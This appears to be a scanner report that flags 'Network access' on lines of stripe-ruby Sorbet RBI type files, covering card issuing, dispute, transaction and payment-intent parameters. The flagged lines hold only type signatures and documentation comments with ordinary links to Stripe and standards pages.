sig { params(_postal_code: String).returns(String) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 34
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 35
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 92
def initialize(date: nil, ip: nil, user_agent: nil); end end # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for c - Network accessline 93
end # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program. sig { - Network accessline 94
# Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program. - Network accessline 127
class Verification < ::Stripe::RequestParams class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 128
class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. sig { returns(T.nilable(String)) } - Network accessline 129
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 132
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docum - Network accessline 133
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. sig { returns(T.nilable(String)) } - Network accessline 134
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 203
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies t - Network accessline 204
def amount=(_amount); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categorie - Network accessline 205
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 220
def initialize(amount: nil, categories: nil, interval: nil); end end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All - Network accessline 221
end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories - Network accessline 222
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 234
} def allowed_merchant_countries=(_allowed_merchant_countries); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. Al - Network accessline 235
def allowed_merchant_countries=(_allowed_merchant_countries); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other ca - Network accessline 236
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 305
} def individual=(_individual); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 306
def individual=(_individual); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 307
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 312
} def metadata=(_metadata); end # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure) for more details. - Network accessline 313
def metadata=(_metadata); end # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure) for more details. si - Network accessline 314
# The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure) for more details. - Network accessline 318
def phone_number=(_phone_number); end # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`. # This changes the language of the [3D Secure flow](https://docs.str - Network accessline 319
# The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`. # This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass - Network accessline 320
# This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder. - Network accessline 325
} def preferred_locales=(_preferred_locales); end # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. - Network accessline 326
def preferred_locales=(_preferred_locales); end # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. sig { retur - Network accessline 327
# Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_create_params.rbi
- Network accessline 8
class Evidence < ::Stripe::RequestParams class Canceled < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 9
class Canceled < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 10
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 87
end class Duplicate < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 88
class Duplicate < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 89
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 92
sig { params(_additional_documentation: T.nilable(String)).returns(T.nilable(String)) } def additional_documentation=(_additional_documentation); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) - Network accessline 93
def additional_documentation=(_additional_documentation); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for. sig { ret - Network accessline 94
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for. - Network accessline 97
sig { params(_card_statement: T.nilable(String)).returns(T.nilable(String)) } def card_statement=(_card_statement); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing th - Network accessline 98
def card_statement=(_card_statement); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash. sig { returns(T.nilable(String)) } - Network accessline 99
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash. - Network accessline 102
sig { params(_cash_receipt: T.nilable(String)).returns(T.nilable(String)) } def cash_receipt=(_cash_receipt); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the c - Network accessline 103
def cash_receipt=(_cash_receipt); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product. sig { returns(T.nilable(String)) - Network accessline 104
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product. - Network accessline 130
end class Fraudulent < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 131
class Fraudulent < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 132
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 146
end class MerchandiseNotAsDescribed < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 147
class MerchandiseNotAsDescribed < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 148
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 195
end class NoValidAuthorization < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 196
class NoValidAuthorization < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 197
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 211
end class NotReceived < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 212
class NotReceived < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 213
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 252
end class Other < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 253
class Other < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 254
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 285
end class ServiceNotAsDescribed < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 286
class ServiceNotAsDescribed < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 287
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 420
def initialize(received_debit: nil); end end # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If not set, defaults to the full transaction amount. - Network accessline 421
end # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If not set, defaults to the full transaction amount. sig { returns(T.nilable(Integer)) } - Network accessline 422
# The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If not set, defaults to the full transaction amount. - Network accessline 437
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 438
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 439
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_submit_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 12
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 13
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_update_params.rbi
- Network accessline 8
class Evidence < ::Stripe::RequestParams class Canceled < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 9
class Canceled < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 10
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 87
end class Duplicate < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 88
class Duplicate < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 89
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 92
sig { params(_additional_documentation: T.nilable(String)).returns(T.nilable(String)) } def additional_documentation=(_additional_documentation); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) - Network accessline 93
def additional_documentation=(_additional_documentation); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for. sig { ret - Network accessline 94
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for. - Network accessline 97
sig { params(_card_statement: T.nilable(String)).returns(T.nilable(String)) } def card_statement=(_card_statement); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing th - Network accessline 98
def card_statement=(_card_statement); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash. sig { returns(T.nilable(String)) } - Network accessline 99
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash. - Network accessline 102
sig { params(_cash_receipt: T.nilable(String)).returns(T.nilable(String)) } def cash_receipt=(_cash_receipt); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the c - Network accessline 103
def cash_receipt=(_cash_receipt); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product. sig { returns(T.nilable(String)) - Network accessline 104
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product. - Network accessline 130
end class Fraudulent < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 131
class Fraudulent < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 132
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 146
end class MerchandiseNotAsDescribed < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 147
class MerchandiseNotAsDescribed < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 148
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 195
end class NoValidAuthorization < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 196
class NoValidAuthorization < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 197
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 211
end class NotReceived < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 212
class NotReceived < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 213
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 252
end class Other < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 253
class Other < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 254
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 285
end class ServiceNotAsDescribed < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 286
class ServiceNotAsDescribed < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(String)) } - Network accessline 287
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 411
); end end # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 412
end # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(T.nilable(Integer)) } - Network accessline 413
# The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 428
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 429
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 430
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_create_params.rbi
- Network accessline 68
sig { params(_lookup_key: T.nilable(String)).returns(T.nilable(String)) } def lookup_key=(_lookup_key); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful fo - Network accessline 69
def lookup_key=(_lookup_key); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 70
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_update_params.rbi
- Network accessline 70
sig { params(_lookup_key: T.nilable(String)).returns(T.nilable(String)) } def lookup_key=(_lookup_key); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful fo - Network accessline 71
def lookup_key=(_lookup_key); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 72
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_create_force_capture_params.rbi
- Network accessline 7
class TransactionCreateForceCaptureParams < ::Stripe::RequestParams class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/ - Network accessline 8
class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. sig { - Network accessline 9
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 296
end class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 297
class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(String - Network accessline 298
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 434
); end end # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 435
end # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Intege - Network accessline 436
# The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 444
sig { params(_card: String).returns(String) } def card=(_card); end # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-cod - Network accessline 445
def card=(_card); end # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currenc - Network accessline 446
# The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_create_unlinked_refund_params.rbi
- Network accessline 7
class TransactionCreateUnlinkedRefundParams < ::Stripe::RequestParams class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.co - Network accessline 8
class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. sig { - Network accessline 9
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 296
end class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 297
class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(String - Network accessline 298
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 434
); end end # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 435
end # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer - Network accessline 436
# The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 444
sig { params(_card: String).returns(String) } def card=(_card); end # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-curr - Network accessline 445
def card=(_card); end # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported - Network accessline 446
# The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_refund_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards curre - Network accessline 12
def expand=(_expand); end # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 13
# The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_update_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 12
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 13
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_apply_customer_balance_params.rbi
- Network accessline 7
# Amount that you intend to apply to this PaymentIntent from the customer’s cash balance. If the PaymentIntent was created by an Invoice, the full amount of the PaymentIntent is applied regardless of this parameter. # # A positive i - Network accessline 8
# # A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (for example, 100 cents to charge 1 USD or 100 to charge 100 JPY, a zero-decimal currency). The maxi - Network accessline 9
# A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (for example, 100 cents to charge 1 USD or 100 to charge 100 JPY, a zero-decimal currency). The maximum am - Network accessline 14
sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](htt - Network accessline 15
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 16
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_capture_params.rbi
- Network accessline 120
end class Tax < ::Stripe::RequestParams # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greate - Network accessline 121
class Tax < ::Stripe::RequestParams # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or eq - Network accessline 122
# The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 130
def initialize(total_tax_amount: nil); end end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 131
end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 132
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 170
} def tax=(_tax); end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 171
def tax=(_tax); end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. sig { returns(I - Network accessline 172
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 195
end class Shipping < ::Stripe::RequestParams # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or - Network accessline 196
class Shipping < ::Stripe::RequestParams # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0 - Network accessline 197
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 218
end class Tax < ::Stripe::RequestParams # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than - Network accessline 219
class Tax < ::Stripe::RequestParams # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal t - Network accessline 220
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 228
def initialize(total_tax_amount: nil); end end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 229
end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 230
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 268
class Inputs < ::Stripe::RequestParams class Tax < ::Stripe::RequestParams # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 269
